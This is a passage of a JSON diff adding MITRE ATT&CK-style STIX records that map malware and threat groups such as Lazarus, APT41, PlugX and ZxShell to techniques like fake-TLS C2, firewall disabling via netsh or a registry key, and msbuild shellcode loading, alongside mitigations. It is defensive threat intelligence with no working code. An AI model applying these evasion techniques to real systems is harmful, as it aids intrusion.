Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d9c08e10-909d-46d0-aa15-b99d1487be62", + "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)", + "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", + "modified": "2021-08-16T19:46:03.661Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T13:32:37.823Z", + "external_references": [ + { + "source_name": "Wikipedia HPKP", + "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.", + "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a152969e-2530-4cb7-acdf-f93b138116d0", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.", + "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", + "modified": "2021-08-16T19:46:03.668Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T13:32:37.825Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1974c8c2-d97b-4ea3-9ed4-61a8d0cd2fdd", + "description": "Apply patch KB2962486 which prevents credentials from being stored in GPPs.(Citation: ADSecurity Finding Passwords in SYSVOL)(Citation: MS14-025)", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2021-03-16T12:53:42.566Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T19:50:02.358Z", + "external_references": [ + { + "url": "https://adsecurity.org/?p=2288", + "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.", + "source_name": "ADSecurity Finding Passwords in SYSVOL" + }, + { + "url": "https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati", + "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved February 17, 2020.", + "source_name": "MS14-025" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--92a0aa90-109d-41d7-a08a-6326480d02e6", + "description": "Apply patch KB2962486 which prevents credentials from being stored in GPPs.(Citation: ADSecurity Finding Passwords in SYSVOL)(Citation: MS14-025)", + "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "modified": "2020-06-17T14:25:38.414Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T19:51:21.977Z", + "external_references": [ + { + "source_name": "ADSecurity Finding Passwords in SYSVOL", + "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.", + "url": "https://adsecurity.org/?p=2288" + }, + { + "url": "https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati", + "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved February 17, 2020.", + "source_name": "MS14-025" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5292f0c1-e65e-4233-aa97-ab75354d74a9", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) uses a FakeTLS method during C2.(Citation: US-CERT BADCALL)", + "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "modified": "2020-03-27T20:35:51.492Z", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-27T20:35:51.492Z", + "external_references": [ + { + "source_name": "US-CERT BADCALL", + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f77c9b92-0800-4631-b669-524c8ab23772", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) uses fake Transport Layer Security (TLS) to communicate with its C2 server.(Citation: US-CERT FALLCHILL Nov 2017)", + "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "modified": "2020-03-27T20:45:20.235Z", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-27T20:45:20.235Z", + "external_references": [ + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2709cd56-6a75-487d-9b24-d931c053324a", + "description": "[Gazer](https://attack.mitre.org/software/S0168) uses custom encryption for C2 that uses RSA.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-03-27T20:48:50.990Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-27T20:48:50.990Z", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a392aa7e-b3ce-477c-acfc-e0f6b1d38556", + "description": "[Gazer](https://attack.mitre.org/software/S0168) uses custom encryption for C2 that uses 3DES.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-03-27T20:48:50.996Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-27T20:48:50.996Z", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0b255cef-7177-48b8-ade1-752314f90b7e", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, potentially evading SSL traffic inspection/decryption.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)", + "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "modified": "2021-07-28T01:32:11.940Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-27T21:01:19.133Z", + "external_references": [ + { + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "source_name": "Novetta Blockbuster" + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. 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(n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/EmpireProject/Empire" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--652af94a-7ff3-4d47-89e5-154c7bc34258", + "description": "A version of [PlugX](https://attack.mitre.org/software/S0013) loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application control techniques.(Citation: Palo Alto PlugX June 2017)", + "target_ref": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", + "modified": "2020-06-20T21:43:42.905Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-27T21:54:12.731Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/", + "description": "Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.", + "source_name": "Palo Alto PlugX June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c2480447-a55d-446e-8d62-88c6a4f08afb", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has been observed disabling the system firewall.(Citation: Securelist Kimsuky Sept 2013)", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "modified": "2020-03-28T00:26:28.307Z", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-28T00:26:28.307Z", + "external_references": [ + { + "source_name": "Securelist Kimsuky Sept 2013", + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b348a960-f2f1-4832-aeb4-ac890c1e1c39", + "description": "Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware modifies the Windows firewall to allow incoming connections or disable it entirely using [netsh](https://attack.mitre.org/software/S0108). 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Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.", + "source_name": "Novetta Blockbuster Tools" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a1d5c2d2-92f7-4cfa-bd1d-fa06e18c0f33", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can disable Security Center functions like the Windows Firewall.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "modified": "2020-03-28T00:53:12.439Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-28T00:53:12.439Z", + "external_references": [ + { + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "source_name": "TrendMicro DarkComet Sept 2014" + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "source_name": "Malwarebytes DarkComet March 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--43c16333-5f95-45b4-aedd-b90ccb56da3a", + "description": "[H1N1](https://attack.mitre.org/software/S0132) kills and disables services for Windows Firewall.(Citation: Cisco H1N1 Part 2)", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "modified": "2020-03-28T00:55:39.773Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-28T00:55:39.773Z", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--23bb2f7c-9f4e-4c11-b4e9-b41ba6e6f4c1", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can modify the victim's firewall.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "modified": "2020-03-28T00:59:59.365Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-28T00:59:59.365Z", + "external_references": [ + { + "source_name": "DigiTrust NanoCore Jan 2017", + "description": "The DigiTrust Group. (2017, January 01). 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Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9121d8be-058d-4ee2-9372-62c6607dd8f4", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can disable the firewall by modifying the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile.(Citation: Talos ZxShell Oct 2014 ) ", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "modified": "2020-03-28T01:05:24.517Z", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-28T01:05:24.517Z", + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0f9283d3-3b13-47ca-9757-7a7739738356", + "description": "Limit access to network infrastructure and resources that can be used to reshape traffic or otherwise produce AiTM conditions.", + "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "modified": "2021-09-28T13:08:18.717Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-28T01:37:57.431Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--911ca56b-8fd3-4efc-855c-f1754c8b05b7", + "description": "Network intrusion detection and prevention systems that can identify traffic patterns indicative of AiTM activity can be used to mitigate activity at the network level.", + "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "modified": "2021-09-28T13:08:18.722Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-28T01:37:57.435Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a19d3dcf-29a2-4e3f-9138-55dc8ace1ee5", + "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. 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Retrieved September 14, 2021.", + "source_name": "def_ev_win_event_logging" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e2a9b959-8179-4ea0-99bc-8a8310bd1de2", + "description": "Ensure proper Registry permissions are in place to prevent adversaries from disabling or modifying firewall settings.", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "modified": "2020-03-29T22:18:11.329Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-29T22:15:08.085Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--79904c38-8fb6-45e3-98f7-98856e08421f", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) replaced the background wallpaper of systems with a threatening image after rendering the system unbootable with a [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)(Citation: Novetta Blockbuster Destructive Malware)", + "target_ref": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103", + "modified": "2020-03-29T22:28:32.733Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-29T22:28:32.733Z", + "external_references": [ + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. 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(2018, February 06). Malware Analysis Report (MAR) - 10135536-G. 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(2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "source_name": "Kaspersky Carbanak" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. 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(2017, December 13). Malware Analysis Report (MAR) - 10135536-B. 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Retrieved April 27, 2020.", + "source_name": "Talos PoetRAT April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--670d65e8-59a9-46ae-bdb6-6cb94a0528ba", + "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has used a custom TCP protocol with four-byte XOR for command and control (C2).(Citation: Chronicle Winnti for Linux May 2019)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-05-04T14:24:55.161Z", + "source_ref": "malware--8787e86d-8475-4f13-acea-d33eb83b6105", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-04-30T18:39:20.146Z", + "external_references": [ + { + "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", + "description": "Chronicle Blog. (2019, May 15). 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Retrieved April 28, 2020.", + "source_name": "FireEye APT41 March 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a8b93875-6ad4-492e-afa1-0549ada7d7ca", + "description": "[APT41](https://attack.mitre.org/groups/G0096) executed file /bin/pwd in activity exploiting CVE-2019-19781 against Citrix devices.(Citation: FireEye APT41 March 2020)", + "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "modified": "2020-04-30T20:31:38.012Z", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-04-30T20:31:38.012Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "description": "Glyer, C, et al. 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Retrieved August 26, 2021.", + "source_name": "Group IB APT 41 June 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4aa86179-d9e9-43dd-b2a2-75e77a832150", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits.(Citation: FireEye APT41 March 2020) ", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-05-01T13:57:23.349Z", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-01T13:57:23.349Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "description": "Glyer, C, et al. (2020, March). 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Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--74f14668-7111-4f96-a307-4aac00d91cf4", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has used the open source UPX executable packer.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "modified": "2020-05-04T19:13:35.556Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-01T20:05:16.006Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). 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Retrieved May 4, 2020.", + "source_name": "FireEye HIKIT Rootkit Part 2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7066827b-795c-447c-9c07-05765ed1e07b", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) can perform dynamic DLL importing and API lookups using LoadLibrary and GetProcAddress on obfuscated strings.(Citation: US-CERT HOTCROISSANT February 2020)", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "modified": "2020-05-06T19:28:22.199Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-04T19:13:35.383Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d", + "description": "US-CERT. (2020, February 20). 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(2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. 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VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. 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(2020, February 20). MAR-10271944-1.v1 \u2013 North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020.", + "source_name": "US-CERT HOTCROISSANT February 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d07460c8-0d13-4c25-81f7-56e5198f07c5", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) can retrieve a list of applications from the SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths registry key.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "modified": "2020-05-04T19:13:35.466Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-04T19:13:35.466Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--92e19c14-504e-402f-b755-08358333cda0", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to stop services on the infected host.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "modified": "2020-05-04T19:13:35.475Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-04T19:13:35.474Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. 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(2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a5720510-fadb-496d-97b5-99cdabb051ab", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability 